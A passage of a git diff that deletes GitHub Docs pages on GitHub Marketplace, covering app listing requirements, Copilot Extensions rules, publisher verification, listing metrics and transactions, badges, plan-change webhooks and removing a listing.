/apps/marketplace/listing-apps-on-github-marketplace/requirements-for-listing-an-app-on-github-marketplace - - /apps/marketplace/getting-started-with-github-marketplace-listings/requirements-for-listing-an-app-on-github-marketplace - - /apps/marketplace/creating-and-submitting-your-app-for-approval/requirements-for-listing-an-app-on-github-marketplace - - /apps/marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace - - /marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace - - /developers/github-marketplace/requirements-for-listing-an-app - - /developers/github-marketplace/creating-apps-for-github-marketplace/requirements-for-listing-an-app - - /apps/publishing-apps-to-github-marketplace/creating-apps-for-github-marketplace/requirements-for-listing-an-app -versions: - fpt: '*' - ghec: '*' -topics: - - Marketplace -shortTitle: Listing requirements ---- - -{% data reusables.marketplace.marketplace-apps-not-actions %} - -<!--UI-LINK: Displayed as a link on the https://github.com/marketplace/new page.--> - -The requirements for listing an app on {% data variables.product.prodname_marketplace %} vary according to whether you want to offer a free or a paid app. - -## Requirements for all {% data variables.product.prodname_marketplace %} listings - -All listings on {% data variables.product.prodname_marketplace %} should be for tools that provide value to the {% data variables.product.github %} community. When you submit your listing for publication, you must read and accept the terms of the [AUTOTITLE](/free-pro-team@latest/site-policy/github-terms/github-marketplace-developer-agreement). - -### User experience requirements for all apps - -All listings should meet the following requirements, regardless of whether they are for a free or paid app. - -* Listings must not actively persuade users away from {% data variables.product.github %}. -* Listings must include valid contact information for the publisher. -* Listings must have a relevant description of the application. -* Listings must specify a pricing plan. -* Apps must provide value to customers and integrate with the platform in some way beyond authentication. -* Apps must be publicly available in {% data variables.product.prodname_marketplace %} and cannot be in {% data variables.release-phases.public_preview %} or available by invite only, with the exception of {% data variables.product.prodname_copilot_extensions_short %}. -* Apps must have webhook events set up to notify the publisher of any plan changes or cancellations using the {% data variables.product.prodname_marketplace %} API. For more information, see [AUTOTITLE](/apps/github-marketplace/using-the-github-marketplace-api-in-your-app). - -For more information on providing a good customer experience, see [AUTOTITLE](/apps/github-marketplace/creating-apps-for-github-marketplace/customer-experience-best-practices-for-apps). - -### Brand and listing requirements for all apps - -* Apps that use GitHub logos must follow the {% data variables.product.company_short %} guidelines. For more information, see [{% data variables.product.company_short %} Logos and Usage](https://github.com/logos). -* Apps must have a logo, feature card, and screenshots images that meet the recommendations provided in [AUTOTITLE](/apps/github-marketplace/listing-an-app-on-github-marketplace/writing-a-listing-description-for-your-app). -* Listings must include descriptions that are well written and free of grammatical errors. For guidance in writing your listing, see [AUTOTITLE](/apps/github-marketplace/listing-an-app-on-github-marketplace/writing-a-listing-description-for-your-app). - -To protect your customers, we recommend that you also follow security best practices. For more information, see [AUTOTITLE](/apps/github-marketplace/creating-apps-for-github-marketplace/security-best-practices-for-apps-on-github-marketplace). - -## Considerations for free apps - -{% data reusables.marketplace.free-apps-encouraged %} - -## Requirements for {% data variables.product.prodname_copilot_extensions %} - -{% data variables.product.prodname_copilot_extensions_short %} are essentially {% data variables.product.prodname_github_apps %} with additional read access to {% data variables.product.prodname_copilot_chat_short %}, integration with the {% data variables.product.prodname_copilot_short %} API, and optional integration into other LLMs. - -To publish an extension, it must be owned by an organization account with Verified Creator status. For more information about the verification process or transferring ownership of your app, see [AUTOTITLE](/apps/github-marketplace/github-marketplace-overview/applying-for-publisher-verification-for-your-organization). - -The requirements to publish a {% data variables.product.prodname_copilot_extension_short %} are the same as the requirements for free apps, with the following exceptions: -* Your extension must provide a clear and descriptive response to a prompt like "What can you do?" or "List your capabilities". -* Your extension can be in {% data variables.release-phases.public_preview %} as long as that is clearly communicated in the listing description. If you are using a waitlist, you must also include a link to sign up at the top of the description. Someone from the {% data variables.product.github %} review team will join the waitlist and email your technical lead requesting access for testing. -* You must include links to two videos that demonstrate the following: - * A few example prompts and responses from your extension - * A net new user installing, authenticating, and sending their first prompt to your extension - - These videos are private to {% data variables.product.github %} and are used solely for reviewing your listing submission. The videos can be brief, and you don't need to edit them. -* Your extension must provide a stable and reliable user experience, and be able to perform the capabilities listed in the description. -* You must provide a pathway for new users to install, set up, and authorize your extension with minimal friction. If the {% data variables.product.github %} review team is not able to successfully test your extension, it will not be approved for publishing. - -## Requirements for paid apps - -To publish a paid plan for your app on the {% data variables.product.prodname_marketplace %}, your app must be owned by an organization that is a verified publisher. For more information about the verification process or transferring ownership of your app, see [AUTOTITLE](/apps/github-marketplace/github-marketplace-overview/applying-for-publisher-verification-for-your-organization). - -If your app is already published and you're a verified publisher, then you can publish a new paid plan from the pricing plan editor. For more information, see [AUTOTITLE](/apps/github-marketplace/listing-an-app-on-github-marketplace/setting-pricing-plans-for-your-listing). - -To publish a paid app (or an app that offers a paid plan), you must also meet the following requirements: - -* {% data variables.product.prodname_github_apps %} should have a minimum of 100 installations. -* {% data variables.product.prodname_oauth_apps %} should have a minimum of 200 users. -* All paid apps must handle {% data variables.product.prodname_marketplace %} purchase events for new purchases, upgrades, downgrades, cancellations, and free trials. For more information, see [Billing requirements for paid apps](#billing-requirements-for-paid-apps) below. - -When you are ready to publish the app on {% data variables.product.prodname_marketplace %} you must request verification for the app listing. - -> [!NOTE] -> {% data reusables.marketplace.app-transfer-to-org-for-verification %} For information on how to transfer an app to an organization, see: [AUTOTITLE](/apps/github-marketplace/listing-an-app-on-github-marketplace/submitting-your-listing-for-publication#transferring-an-app-to-an-organization-before-you-submit). - -## Billing requirements for paid apps - -Your app does not need to handle payments but does need to use {% data variables.product.prodname_marketplace %} purchase events to manage new purchases, upgrades, downgrades, cancellations, and free trials. For information about how integrate these events into your app, see [AUTOTITLE](/apps/github-marketplace/using-the-github-marketplace-api-in-your-app). - -Using {% data variables.product.github %}'s billing API allows customers to purchase an app without leaving {% data variables.product.github %} and to pay for the service with the payment method already attached to their account on {% data variables.product.github %}. - -* Apps must support both monthly and annual billing for paid subscriptions purchases. -* Listings may offer any combination of free and paid plans. Free plans are optional but encouraged. For more information, see [AUTOTITLE](/apps/github-marketplace/listing-an-app-on-github-marketplace/setting-pricing-plans-for-your-listing). diff --git a/content/apps/github-marketplace/creating-apps-for-github-marketplace/security-best-practices-for-apps-on-github-marketplace.md b/content/apps/github-marketplace/creating-apps-for-github-marketplace/security-best-practices-for-apps-on-github-marketplace.md deleted file mode 100644 index 53c9771d9303..000000000000 --- a/content/apps/github-marketplace/creating-apps-for-github-marketplace/security-best-practices-for-apps-on-github-marketplace.md +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: Security best practices for apps on GitHub Marketplace -intro: 'Guidelines for preparing a secure app to share on {% data variables.product.prodname_marketplace %}.' -redirect_from: - - /apps/marketplace/getting-started/security-review-process - - /marketplace/getting-started/security-review-process - - /developers/github-marketplace/security-review-process-for-submitted-apps - - /developers/github-marketplace/security-best-practices-for-apps - - /developers/github-marketplace/creating-apps-for-github-marketplace/security-best-practices-for-apps - - /apps/publishing-apps-to-github-marketplace/creating-apps-for-github-marketplace/security-best-practices-for-apps - - /apps/publishing-apps-to-github-marketplace/creating-apps-for-github-marketplace/security-best-practices-for-apps-on-github-marketplace -shortTitle: Security best practice -versions: - fpt: '*' - ghec: '*' -topics: - - Marketplace ---- - -{% data reusables.marketplace.marketplace-apps-not-actions %} - -Before listing an app on {% data variables.product.prodname_marketplace %}, you should follow the best practices for the type of app that you are listing: - -* [AUTOTITLE](/apps/creating-github-apps/about-creating-github-apps/best-practices-for-creating-a-github-app) -* [AUTOTITLE](/apps/oauth-apps/building-oauth-apps/best-practices-for-creating-an-oauth-app) - -Additionally, you should have the capability to notify {% data variables.product.company_short %} within 24 hours of a confirmed security incident. - -In addition to following security best practices, you should also follow customer experience best practices. For more information, see [AUTOTITLE](/apps/github-marketplace/creating-apps-for-github-marketplace/customer-experience-best-practices-for-apps). diff --git a/content/apps/github-marketplace/creating-apps-for-github-marketplace/viewing-metrics-for-your-listing.md b/content/apps/github-marketplace/creating-apps-for-github-marketplace/viewing-metrics-for-your-listing.md deleted file mode 100644 index 5f5548fb1284..000000000000 --- a/content/apps/github-marketplace/creating-apps-for-github-marketplace/viewing-metrics-for-your-listing.md +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: Viewing metrics for your listing -intro: 'The {% data variables.product.prodname_marketplace %} Insights page displays metrics for your {% data variables.product.prodname_github_app %}. You can use the metrics to track your {% data variables.product.prodname_github_app %}''s performance and make more informed decisions about pricing, plans, free trials, and how to visualize the effects of marketing campaigns.' -redirect_from: - - /apps/marketplace/managing-github-marketplace-listings/viewing-performance-metrics-for-a-github-marketplace-listing - - /apps/marketplace/viewing-performance-metrics-for-a-github-marketplace-listing - - /apps/marketplace/github-marketplace-insights - - /marketplace/github-marketplace-insights - - /developers/github-marketplace/viewing-metrics-for-your-listing - - /developers/github-marketplace/creating-apps-for-github-marketplace/viewing-metrics-for-your-listing - - /apps/publishing-apps-to-github-marketplace/creating-apps-for-github-marketplace/viewing-metrics-for-your-listing -versions: - fpt: '*' - ghec: '*' -topics: - - Marketplace -shortTitle: View listing metrics ---- - -{% data reusables.marketplace.marketplace-apps-not-actions %} - -You can view metrics for the past day (24 hours), week, month, or for the entire duration of time that your {% data variables.product.prodname_github_app %} has been listed. - -> [!NOTE] -> Because it takes time to aggregate data, you'll notice a slight delay in the dates shown. When you select a time period, you can see exact dates for the metrics at the top of the page. - -## Performance metrics - -The Insights page displays these performance metrics, for the selected time period: - -* **Subscription value:** Total possible revenue (in US dollars) for subscriptions. This value represents the possible revenue if no plans or free trials are cancelled and all credit transactions are successful. The subscription value includes the full value for plans that begin with a free trial in the selected time period, even when there are no financial transactions in that time period. The subscription value also includes the full value of upgraded plans in the selected time period but does not include the prorated amount. To see and download individual transactions, see [AUTOTITLE](/apps/github-marketplace/creating-apps-for-github-marketplace/viewing-transactions-for-your-listing). -* **Visitors:** Number of people that have viewed a page in your GitHub Apps listing. This number includes both logged in and logged out visitors. -* **Pageviews:** Number of views the pages in your GitHub App's listing received. A single visitor can generate more than one page view. - -> [!NOTE] -> Your estimated subscription value could be much higher than the transactions processed for this period. - -### Conversion performance - -* **Unique visitors to landing page:** Number of people who viewed your GitHub App's landing page. -* **Unique visitors to checkout page:** Number of people who viewed one of your GitHub App's checkout pages. -* **Checkout page to new subscriptions:** Total number of paid subscriptions, free trials, and free subscriptions. See the "Breakdown of total subscriptions" for the specific number of each type of subscription. - -![Screenshot of the {% data variables.product.prodname_marketplace %} Insights for a {% data variables.product.prodname_github_app %}.](/assets/images/marketplace/marketplace-insights.png) - -To access {% data variables.product.prodname_marketplace %} Insights: - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.developer_settings %} -{% data reusables.user-settings.marketplace_apps %} -1. To select the {% data variables.product.prodname_github_app %} that you'd like to view Insights for, click **Edit**. -{% data reusables.user-settings.edit_marketplace_listing %} -1. Click the **Insights** tab. -1. Optionally, select a different time period by clicking the Period dropdown in the upper-right corner of the Insights page. diff --git a/content/apps/github-marketplace/creating-apps-for-github-marketplace/viewing-transactions-for-your-listing.md b/content/apps/github-marketplace/creating-apps-for-github-marketplace/viewing-transactions-for-your-listing.md deleted file mode 100644 index b564bc74448c..000000000000 --- a/content/apps/github-marketplace/creating-apps-for-github-marketplace/viewing-transactions-for-your-listing.md +++ /dev/null @@ -1,50 +0,0 @@ ---- -title: Viewing transactions for your listing -intro: 'The {% data variables.product.prodname_marketplace %} transactions page allows you to download and view all transactions for your {% data variables.product.prodname_marketplace %} listing. You can view transactions for the past day (24 hours), week, month, or for the entire duration of time that your {% data variables.product.prodname_github_app %} has been listed.' -redirect_from: - - /marketplace/github-marketplace-transactions - - /developers/github-marketplace/viewing-transactions-for-your-listing - - /developers/github-marketplace/creating-apps-for-github-marketplace/viewing-transactions-for-your-listing - - /apps/publishing-apps-to-github-marketplace/creating-apps-for-github-marketplace/viewing-transactions-for-your-listing -versions: - fpt: '*' - ghec: '*' -topics: - - Marketplace -shortTitle: View listing transactions ---- - -{% data reusables.marketplace.marketplace-apps-not-actions %} - -> [!NOTE] -> Because it takes time to aggregate data, you'll notice a slight delay in the dates shown. When you select a time period, you can see exact dates for the metrics at the top of the page. - -You can view or download the transaction data to keep track of your subscription activity. Click the **Export CSV** button to download a `.csv` file. You can also select a period of time to view and search within the transaction page. - -## Transaction data fields - -* **date:** The date of the transaction in `yyyy-mm-dd` format. -* **app_name:** The app name. -* **user_login:** The login of the user with the subscription. -* **user_id:** The id of the user with the subscription. -* **user_type:** The type of GitHub account, either `User` or `Organization`. -* **country:** The three letter country code. -* **amount_in_cents:** The amount of the transaction in cents. When a value is less the plan amount, the user upgraded and the new plan is prorated. A value of zero indicates the user canceled their plan. -* **renewal_frequency:** The subscription renewal frequency, either `Monthly` or `Yearly`. -* **marketplace_listing_plan_id:** The `id` of the subscription plan. -* **region:** The name of the region present in billing address. -* **postal_code:** The postal code value present in billing address. - -![Screenshot of the "Transactions" tab in an app listing. Transactions from the past week are listed in a table with a search field.](/assets/images/marketplace/marketplace-transactions.png) - -## Accessing {% data variables.product.prodname_marketplace %} transactions - -To access {% data variables.product.prodname_marketplace %} transactions: - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.developer_settings %} -{% data reusables.user-settings.marketplace_apps %} -1. Select the {% data variables.product.prodname_github_app %} that you'd like to view transactions for. -{% data reusables.user-settings.edit_marketplace_listing %} -1. Click the **Transactions** tab. -1. Optionally, select a different time period by clicking the Period dropdown in the upper-right corner of the Transactions page. diff --git a/content/apps/github-marketplace/github-marketplace-overview/about-github-marketplace-for-apps.md b/content/apps/github-marketplace/github-marketplace-overview/about-github-marketplace-for-apps.md deleted file mode 100644 index 280fe18f4cbe..000000000000 --- a/content/apps/github-marketplace/github-marketplace-overview/about-github-marketplace-for-apps.md +++ /dev/null @@ -1,78 +0,0 @@ ---- -title: About GitHub Marketplace for apps -intro: 'Learn about {% data variables.product.prodname_marketplace %} where you can share your apps with everyone.' -redirect_from: - - /apps/marketplace/getting-started - - /marketplace/getting-started - - /developers/github-marketplace/about-github-marketplace - - /developers/github-marketplace/github-marketplace-overview/about-github-marketplace - - /apps/publishing-apps-to-github-marketplace/github-marketplace-overview/about-github-marketplace - - /apps/publishing-apps-to-github-marketplace/github-marketplace-overview/about-github-marketplace-for-apps -versions: - fpt: '*' - ghec: '*' -topics: - - Marketplace ---- -[{% data variables.product.prodname_marketplace %}](https://github.com/marketplace) connects you to developers who want to extend and improve their {% data variables.product.prodname_dotcom %} workflows. You can list free and paid tools for developers to use in {% data variables.product.prodname_marketplace %}. {% data variables.product.prodname_marketplace %} offers developers two types of tools: {% data variables.product.prodname_actions %} and Apps, and each tool requires different steps for adding it to {% data variables.product.prodname_marketplace %}. - -## GitHub Actions - -{% data reusables.actions.actions-not-verified %} - -{% data reusables.actions.actions-marketplace-ghecom %} - -To learn about publishing {% data variables.product.prodname_actions %} in {% data variables.product.prodname_marketplace %}, see [AUTOTITLE](/actions/creating-actions/publishing-actions-in-github-marketplace). - -## Apps - -Anyone can share their apps with other users for free on {% data variables.product.prodname_marketplace %} but only apps owned by organizations can sell their app. - -{% data reusables.data-residency.github-marketplace-apps-unsupported %} - -To publish paid plans for your app and display a marketplace badge, you must complete the publisher verification process. For more information, see [AUTOTITLE](/apps/github-marketplace/github-marketplace-overview/applying-for-publisher-verification-for-your-organization) or [AUTOTITLE](/apps/github-marketplace/creating-apps-for-github-marketplace/requirements-for-listing-an-app). - -Once the organization meets the requirements, someone with owner permissions in the organization can publish paid plans for any of their apps. Each app with a paid plan also goes through a financial onboarding process to enable payments. - -To publish apps with free plans, you only need to meet the general requirements for listing any app. For more information, see [AUTOTITLE](/apps/github-marketplace/creating-apps-for-github-marketplace/requirements-for-listing-an-app#requirements-for-all-github-marketplace-listings). - -### New to apps? - -If you're interested in creating an app for {% data variables.product.prodname_marketplace %}, but you're new to {% data variables.product.prodname_github_apps %} or {% data variables.product.prodname_oauth_apps %}, see [AUTOTITLE](/apps/creating-github-apps/about-creating-github-apps/about-creating-github-apps) or [AUTOTITLE](/apps/oauth-apps/building-oauth-apps). - -### {% data variables.product.prodname_github_apps %} vs. {% data variables.product.prodname_oauth_apps %} - -{% data reusables.marketplace.github_apps_preferred %}, although you can list both OAuth and {% data variables.product.prodname_github_apps %} in {% data variables.product.prodname_marketplace %}. For more information, see [AUTOTITLE](/apps/oauth-apps/building-oauth-apps/differences-between-github-apps-and-oauth-apps) and [AUTOTITLE](/apps/creating-github-apps/about-creating-github-apps/migrating-oauth-apps-to-github-apps). - -### {% data variables.product.prodname_copilot_extensions %} - -{% data reusables.copilot.copilot-extensions.copilot-extensions-intro %} - -To learn more about {% data variables.product.prodname_copilot_extensions_short %}, see [AUTOTITLE](/copilot/github-copilot-chat/github-copilot-extensions/using-github-copilot-extensions). - -## Publishing an app to {% data variables.product.prodname_marketplace %} overview - -When you have finished creating your app, you can share it with other users by publishing it to {% data variables.product.prodname_marketplace %}. In summary, the process is: - -1. Review your app carefully to ensure that it will behave as expected in other repositories and that it follows best practice guidelines. For more information, see [AUTOTITLE](/apps/github-marketplace/creating-apps-for-github-marketplace/security-best-practices-for-apps-on-github-marketplace) and [AUTOTITLE](/apps/github-marketplace/creating-apps-for-github-marketplace/requirements-for-listing-an-app#best-practice-for-customer-experience). - -1. Add webhook events to the app to track user billing requests. For more information about the {% data variables.product.prodname_marketplace %} API, webhook events, and billing requests, see [AUTOTITLE](/apps/github-marketplace/using-the-github-marketplace-api-in-your-app). - -1. Create a draft {% data variables.product.prodname_marketplace %} listing. For more information, see [AUTOTITLE](/apps/github-marketplace/listing-an-app-on-github-marketplace/drafting-a-listing-for-your-app). - -1. Add a pricing plan. For more information, see [AUTOTITLE](/apps/github-marketplace/listing-an-app-on-github-marketplace/setting-pricing-plans-for-your-listing). - -1. Read and accept the terms of the [AUTOTITLE](/free-pro-team@latest/site-policy/github-terms/github-marketplace-developer-agreement). - -1. Submit your listing for publication in {% data variables.product.prodname_marketplace %}. For more information, see [AUTOTITLE](/apps/github-marketplace/listing-an-app-on-github-marketplace/submitting-your-listing-for-publication). - -## Seeing how your app is performing - -You can access metrics and transactions for your listing. For more information, see: - -* [AUTOTITLE](/apps/github-marketplace/creating-apps-for-github-marketplace/viewing-metrics-for-your-listing) -* [AUTOTITLE](/apps/github-marketplace/creating-apps-for-github-marketplace/viewing-transactions-for-your-listing) - -## Contacting Support - -If you have questions about {% data variables.product.prodname_marketplace %}, please contact {% data variables.contact.contact_support %}. diff --git a/content/apps/github-marketplace/github-marketplace-overview/about-marketplace-badges.md b/content/apps/github-marketplace/github-marketplace-overview/about-marketplace-badges.md deleted file mode 100644 index f27adf0e6b55..000000000000 --- a/content/apps/github-marketplace/github-marketplace-overview/about-marketplace-badges.md +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: About marketplace badges -intro: 'Learn about the badges that you may see for some apps listings on {% data variables.product.prodname_marketplace %}.' -redirect_from: - - /developers/github-marketplace/about-verified-creator-badges - - /developers/github-marketplace/about-marketplace-badges - - /developers/github-marketplace/github-marketplace-overview/about-marketplace-badges - - /apps/publishing-apps-to-github-marketplace/github-marketplace-overview/about-marketplace-badges -versions: - fpt: '*' - ghec: '*' ---- - -{% data reusables.marketplace.marketplace-apps-not-actions %} - -Certain apps on the {% data variables.product.prodname_marketplace %} have the {% octicon "verified" aria-label="The verified badge" %} badge and a tooltip that says "Publisher domain and email verified". This means that the app is owned by an organization that has: - -* Verified ownership of their domain and has a verified badge on their profile -* Confirmed their email address so {% data variables.product.prodname_dotcom %} Support can reach the organization -* Required two-factor authentication for their organization. For more information, see [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/requiring-two-factor-authentication-in-your-organization). - -![Screenshot of a marketplace badge for a {% data variables.product.prodname_github_app %}. The cursor hovers over an icon with the tooltip "Publisher domain and email verified."](/assets/images/marketplace/apps-with-verified-publisher-badge-tooltip.png) - -> [!WARNING] -> {% data variables.product.prodname_dotcom %} does not analyze or inspect third party code. {% data variables.product.prodname_marketplace %} publishers are responsible for the upkeep and maintenance of any third-party apps. The marketplace badge {% octicon "verified" aria-label="The verified badge" %} only confirms that the publisher meets the requirements listed above. - -To learn how you can add this badge to your app, see [AUTOTITLE](/apps/github-marketplace/github-marketplace-overview/applying-for-publisher-verification-for-your-organization). - -Some apps on the {% data variables.product.prodname_marketplace %} have the {% octicon "verified" aria-label="The verified badge" %} badge and a tooltip that says "App meets the requirements for listing" instead of, "Publisher domain and email verified." This means that the app meets the listing requirements described in [AUTOTITLE](/apps/github-marketplace/creating-apps-for-github-marketplace/requirements-for-listing-an-app), but the publisher has not been verified, as described in [AUTOTITLE](/apps/github-marketplace/github-marketplace-overview/applying-for-publisher-verification-for-your-organization). Apps with this badge cannot change their pricing plan until the publisher successfully applies for verification. - -![Screenshot of a marketplace badge for a {% data variables.product.prodname_github_app %}. The cursor hovers over an icon with the tooltip "App meets the requirements for listing."](/assets/images/marketplace/apps-with-unverified-publisher-badge-tooltip.png) - -For more information about the requirements for listing an app on {% data variables.product.prodname_marketplace %}, see [AUTOTITLE](/apps/github-marketplace/creating-apps-for-github-marketplace/requirements-for-listing-an-app). - -For information on finding apps to use, see [AUTOTITLE](/search-github/searching-on-github/searching-github-marketplace). diff --git a/content/apps/github-marketplace/github-marketplace-overview/applying-for-publisher-verification-for-your-organization.md b/content/apps/github-marketplace/github-marketplace-overview/applying-for-publisher-verification-for-your-organization.md deleted file mode 100644 index 915fcc8aaa97..000000000000 --- a/content/apps/github-marketplace/github-marketplace-overview/applying-for-publisher-verification-for-your-organization.md +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: Applying for publisher verification for your organization -intro: 'To offer paid plans for your app or to include a marketplace badge in your app listing, you must complete the publisher verification process for your organization.' -versions: - fpt: '*' - ghec: '*' -topics: - - Marketplace -redirect_from: - - /developers/github-marketplace/applying-for-publisher-verification-for-your-organization - - /developers/github-marketplace/github-marketplace-overview/applying-for-publisher-verification-for-your-organization - - /apps/publishing-apps-to-github-marketplace/github-marketplace-overview/applying-for-publisher-verification-for-your-organization -shortTitle: Publisher verification ---- - -{% data reusables.marketplace.marketplace-apps-not-actions %} - -Publisher verification ensures that {% data variables.product.prodname_dotcom %} has a way to contact you, that you've enabled two-factor authentication for your organization, and that your organization's domain has been verified. - -Once your organization has been verified, you can publish paid plans for your app. For information, see [AUTOTITLE](/apps/github-marketplace/listing-an-app-on-github-marketplace/setting-pricing-plans-for-your-listing). - -To offer paid plans for your app, the app must be owned by an organization and you must have owner permissions in the organization. If your app is currently owned by a personal account, you'll need to transfer the ownership of the app to an organization. For more information, see [AUTOTITLE](/apps/maintaining-github-apps/transferring-ownership-of-a-github-app) or [AUTOTITLE](/apps/oauth-apps/maintaining-oauth-apps/transferring-ownership-of-an-oauth-app). - -## Requesting publisher verification - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -1. At the bottom of the left sidebar, click **Developer settings**. -1. Under "Developer settings", click **Publisher Verification**. -1. Under "Publisher Verification", complete the information in the checklist: - * Ensure that your basic profile information is present and accurate. Also, make sure that you've included the best email address for support and updates from {% data variables.product.company_short %}. - * Ensure that Two-factor authentication is enabled for your organization. For more information, see [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/requiring-two-factor-authentication-in-your-organization). - * Submit a verified domain and ensure that a "Verified" badge displays on your organization's profile page. For related information, see [AUTOTITLE](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization). - -1. Click **Request Verification**. {% data variables.product.company_short %} will review your details and let you know once your publisher verification is complete. - -## Further reading - -For information about the process of publishing apps, see [AUTOTITLE](/apps/github-marketplace/github-marketplace-overview/about-github-marketplace-for-apps). diff --git a/content/apps/github-marketplace/github-marketplace-overview/index.md b/content/apps/github-marketplace/github-marketplace-overview/index.md deleted file mode 100644 index a10a91cd9838..000000000000 --- a/content/apps/github-marketplace/github-marketplace-overview/index.md +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: GitHub Marketplace Overview -intro: 'Learn how you can share your app or action with the {% data variables.product.company_short %} community on {% data variables.product.prodname_marketplace %}.' -versions: - fpt: '*' - ghec: '*' -children: - - /about-github-marketplace-for-apps - - /about-marketplace-badges - - /applying-for-publisher-verification-for-your-organization -shortTitle: Overview -redirect_from: - - /developers/github-marketplace/github-marketplace-overview - - /apps/publishing-apps-to-github-marketplace/github-marketplace-overview ---- - diff --git a/content/apps/github-marketplace/index.md b/content/apps/github-marketplace/index.md deleted file mode 100644 index aa205a17b935..000000000000 --- a/content/apps/github-marketplace/index.md +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: GitHub Marketplace -intro: 'List your tools in {% data variables.product.prodname_dotcom %} Marketplace for developers to use or purchase.' -redirect_from: - - /apps/adding-integrations/listing-apps-on-github-marketplace/about-github-marketplace - - /apps/marketplace - - /marketplace - - /developers/github-marketplace - - /apps/publishing-apps-to-github-marketplace -versions: - fpt: '*' - ghec: '*' -topics: - - Marketplace -children: - - /github-marketplace-overview - - /creating-apps-for-github-marketplace - - /using-the-github-marketplace-api-in-your-app - - /listing-an-app-on-github-marketplace - - /selling-your-app-on-github-marketplace ---- - diff --git a/content/apps/github-marketplace/listing-an-app-on-github-marketplace/configuring-a-webhook-to-notify-you-of-plan-changes.md b/content/apps/github-marketplace/listing-an-app-on-github-marketplace/configuring-a-webhook-to-notify-you-of-plan-changes.md deleted file mode 100644 index bc89ef250868..000000000000 --- a/content/apps/github-marketplace/listing-an-app-on-github-marketplace/configuring-a-webhook-to-notify-you-of-plan-changes.md +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: Configuring a webhook to notify you of plan changes -intro: 'After [creating a draft {% data variables.product.prodname_marketplace %} listing](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/), you can configure a webhook that notifies you when changes to customer account plans occur. After you configure the webhook, you can [handle the `marketplace_purchase` event types](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/) in your app.' -redirect_from: - - /apps/adding-integrations/managing-listings-on-github-marketplace/adding-webhooks-for-a-github-marketplace-listing - - /apps/marketplace/managing-github-marketplace-listings/adding-webhooks-for-a-github-marketplace-listing - - /apps/marketplace/setting-up-github-marketplace-webhooks/creating-a-webhook-for-a-github-marketplace-listing - - /apps/marketplace/listing-on-github-marketplace/configuring-the-github-marketplace-webhook - - /marketplace/listing-on-github-marketplace/configuring-the-github-marketplace-webhook - - /developers/github-marketplace/configuring-a-webhook-to-notify-you-of-plan-changes - - /developers/github-marketplace/listing-an-app-on-github-marketplace/configuring-a-webhook-to-notify-you-of-plan-changes - - /apps/publishing-apps-to-github-marketplace/listing-an-app-on-github-marketplace/configuring-a-webhook-to-notify-you-of-plan-changes -versions: - fpt: '*' - ghec: '*' -topics: - - Marketplace -shortTitle: Webhooks for plan changes ---- - -{% data reusables.marketplace.marketplace-apps-not-actions %} - -The {% data variables.product.prodname_marketplace %} event webhook can only be set up from your application's {% data variables.product.prodname_marketplace %} listing page. You can configure all other events from your [application's developer settings page](https://github.com/settings/developers). If you haven't created a {% data variables.product.prodname_marketplace %} listing, read [AUTOTITLE](/apps/github-marketplace/listing-an-app-on-github-marketplace/drafting-a-listing-for-your-app) to learn how. - -## Creating a webhook - -To create a webhook for your {% data variables.product.prodname_marketplace %} listing, click **Webhook** in the left sidebar of your [{% data variables.product.prodname_marketplace %} listing page](https://github.com/marketplace/manage). You'll see the following webhook configuration options needed to configure your webhook: - -### Payload URL - -{% data reusables.webhooks.payload_url %} - -### Content type - -{% data reusables.webhooks.content_type %} GitHub recommends using the `application/json` content type. - -### Secret - -{% data reusables.webhooks.secret %} - -### Active - -By default, webhook deliveries are "Active." You can choose to disable the delivery of webhook payloads during development by deselecting "Active." If you've disabled webhook deliveries, you will need to select "Active" before you submit your app for review. - -## Viewing webhook deliveries - -Once you've configured your {% data variables.product.prodname_marketplace %} webhook, you'll be able to inspect `POST` request payloads from the **Webhook** page of your application's [{% data variables.product.prodname_marketplace %} listing](https://github.com/marketplace/manage). GitHub doesn't resend failed delivery attempts. Ensure your app can receive all webhook payloads sent by GitHub. - -![Screenshot of the recent webhook deliveries for the {% data variables.product.prodname_marketplace %} listing.](/assets/images/marketplace/marketplace-webhook-deliveries.png) diff --git a/content/apps/github-marketplace/listing-an-app-on-github-marketplace/deleting-your-app-listing-from-github-marketplace.md b/content/apps/github-marketplace/listing-an-app-on-github-marketplace/deleting-your-app-listing-from-github-marketplace.md deleted file mode 100644 index 5e9a87a11782..000000000000 --- a/content/apps/github-marketplace/listing-an-app-on-github-marketplace/deleting-your-app-listing-from-github-marketplace.md +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: Deleting your app listing from GitHub Marketplace -intro: 'Follow these steps to delete your app listing from {% data variables.product.prodname_marketplace %}.' -versions: - fpt: '*' - ghec: '*' -topics: - - Marketplace -shortTitle: Delete your listing -redirect_from: - - /apps/publishing-apps-to-github-marketplace/listing-an-app-on-github-marketplace/deleting-your-github-app-listing-from-github-marketplace - - /apps/github-marketplace/listing-an-app-on-github-marketplace/deleting-your-github-app-listing-from-github-marketplace ---- - -{% data reusables.marketplace.marketplace-apps-not-actions %} - -You can follow these steps to remove your app from {% data variables.product.prodname_marketplace %}. The listing will be removed from {% data variables.product.prodname_marketplace %} immediately. Existing subscriptions will be canceled at the end of the current billing cycle. Although the app will be removed from {% data variables.product.prodname_marketplace %}, you will not be able to delete your app until the current billing cycle ends. - -{% data reusables.apps.settings-step-personal-orgs %} - -{% data reusables.user-settings.developer_settings %} - -1. In the left sidebar, click **{% data variables.product.prodname_github_apps %}** or **{% data variables.product.prodname_oauth_apps %}**. - -1. Click on the app that you want to remove from {% data variables.product.prodname_marketplace %}. - -1. On the app settings landing page, click **Edit Marketplace listing**. - -1. In the left sidebar on the app listing page, click **Overview**. - - 